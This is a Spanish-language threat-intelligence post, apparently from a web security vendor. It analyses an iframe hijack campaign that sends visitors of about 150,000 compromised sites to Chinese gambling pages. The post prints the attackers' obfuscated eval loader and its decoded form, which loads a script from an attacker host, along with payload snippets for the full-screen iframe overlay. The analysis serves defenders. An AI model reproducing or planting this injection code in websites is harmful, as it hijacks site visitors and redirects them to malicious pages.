Resumen: secuestro por iframe con codificacion HTML entity hacia marcas de apuestas chinas a escala 150K
- Todo el mundo celebra cuando una campaña recibe un titular de takedown. Los atacantes solo escalan de 35.000 sitios a 150.000, añaden branding de Bet365 para dar legitimidad y cambian la ofuscacion de escapes Unicode a codificacion HTML entity para colarse por los mismos escaneres estaticos que reportaron la victoria.
- El script por palabras clave comparaba titulos con bet365, WilliamHill, 12bet, w88 y marcas chinas 宝威 y 太阳城, y luego escribia un iframe pantalla completa apuntando a 888fff.zuizhongyj[.]com y destinos como 551007t[.]cc, t399229[.]com y W88in[.]com. cside monitoriza inyecciones de iframe en runtime y comportamiento de scripts sobre visitantes reales, no la foto estatica que ve el crawler.
- Si sigues esta clase de ataque solo por listas de dominios, retira ese habito este trimestre. La infraestructura se movio a codificacion HTML entity y viewport forzado por mutation observer, y tu unico checkpoint restante es lo que el navegador del visitante realmente renderiza.
En febrero, descubrimos a un actor de amenazas que atacaba más de 35.000 sitios web mediante una inyección maliciosa de secuestro de página completa. Hemos seguido monitoreando las actividades de este actor e identificado nuevas tácticas y técnicas. Han escalado sus operaciones de forma significativa: ahora estimamos que aproximadamente 150.000 sitios web han sido afectados por esta campaña.
¿Qué hay de nuevo en este ataque?
Cambios en la interfaz (UI/UX)
El actor de amenazas ha renovado ligeramente su interfaz, pero sigue utilizando una inyección de iframe para mostrar una superposición a pantalla completa en el navegador del visitante. A continuación se muestra un ejemplo de una de sus páginas inyectadas más recientes:

Aunque los elementos visuales y el diseño pueden variar, el método de inyección subyacente sigue siendo el mismo en su núcleo.

Variaciones sobre el mismo tema
Otra variante de este ataque muestra un comportamiento similar: inyecta scripts e iframes que suplantan sitios de apuestas legítimos como Bet365. En muchos casos, se reutilizan logotipos y elementos de marca oficiales para hacer que el ataque parezca más convincente.

Codificación de entidades HTML en el código inyectado
En el código estático, el JavaScript malicioso se inyecta así:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Esto es un ejemplo de codificación de entidades HTML, una forma diferente de ofuscar código. Hace que el script inyectado sea menos evidente a primera vista. Decodificar este fragmento a texto plano revela:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7 \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))
Puedes decodificar texto con codificación de entidades HTML usando herramientas gratuitas como CyberChef.
Dentro de este ataque, también hay JavaScript que se decodifica a sí mismo para producir:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
'\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);
Que finalmente escribe:
<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>
Los atacantes utilizan la ofuscación para ocultar la verdadera naturaleza del script ante análisis rápidos o detecciones menos sofisticadas.
Análisis del payload JavaScript final
A continuación se destacan algunos puntos clave del script final:
Lógica de detección basada en palabras clave El script define un array de palabras clave relacionadas con apuestas, juegos de azar y marcas de casinos tanto en inglés como en chino (p. ej., bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).
Luego compara la etiqueta <title> de la página actual con esta lista:
var keyWord = [
{ key: [...], id: 1 },
...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
a = keyWord[i].id;
c = '?id=';
...
}
Una vez encontrada una coincidencia, el script configura un parámetro ID (?id=) para usarlo en la siguiente etapa de la redirección.
Aplicación de la etiqueta Viewport
El código incluye handleViewportTag();, además de un mutation observer y una llamada a setInterval para insertar repetidamente un viewport adaptado a dispositivos móviles:
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
Esto garantiza que la superposición a pantalla completa se muestre correctamente en dispositivos móviles.
Superposición a pantalla completa + inyección de iframe
El script del atacante crea un <div class="lbb"> que cubre toda la pantalla (mediante CSS position: fixed; z-index: 9999; ...) e inyecta un <iframe> a pantalla completa:
var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');
Cualquier persona que visite el sitio comprometido verá la página de destino maliciosa de apuestas en lugar del contenido legítimo de la página.
Destinos de redirección
Durante el análisis observamos múltiples URLs de redirección, entre ellas:
hxxps://551007t[.]cc/
![Página de apuestas china mostrada en el destino de redirección 551007t[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_5.png)
![Segunda vista del sitio de apuestas mostrado en el destino de redirección 551007t[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_6.png)
hxxps://t399229[.]com/
![Página de apuestas china mostrada en el destino de redirección t399229[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_7.png)
hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat
![Página de acceso restringido mostrada en el endpoint de redirección wa38di[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_8.png)
(Visto anteriormente en otras campañas)
hxxps://W88in[.]com
![Página de apuestas china mostrada en el destino de redirección W88in[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_9.png)
hxxps://b217102[.]cc/
![Página de apuestas china mostrada en el destino de redirección b217102[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_10.png)
hxxps://g977115[.]com/
![Página de apuestas china mostrada en el destino de redirección g977115[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_11.png)
hxxps://lucky298[.]com/
Varios de estos sitios bloquean selectivamente el tráfico de regiones específicas, lo que nos lleva a sospechar que los objetivos principales son usuarios de habla china en China, Hong Kong y Estados Unidos.
Escala del ataque: 150.000 sitios web (y contando)
Aprovechando herramientas de búsqueda públicas (p. ej., PublicWWW), agrupamos todos los sitios web que incluyen el fragmento de script ofuscado. En el momento de nuestro análisis, identificamos más de 150.000 sitios únicos. Puedes ver una consulta en tiempo real de estas infecciones aquí.
Este ataque demuestra cómo los actores de amenazas se adaptan constantemente, ampliando su alcance y añadiendo nuevas capas de ofuscación. Los ataques del lado del cliente como estos están en aumento, con nuevos hallazgos cada día.
Si sospechas que tu sitio podría estar afectado, revisa todos los scripts en busca de codificación de entidades HTML oculta o inyecciones sospechosas de <iframe>. Como siempre, la vigilancia continua y las auditorías periódicas del sitio siguen siendo tu mejor defensa contra ataques como estos.









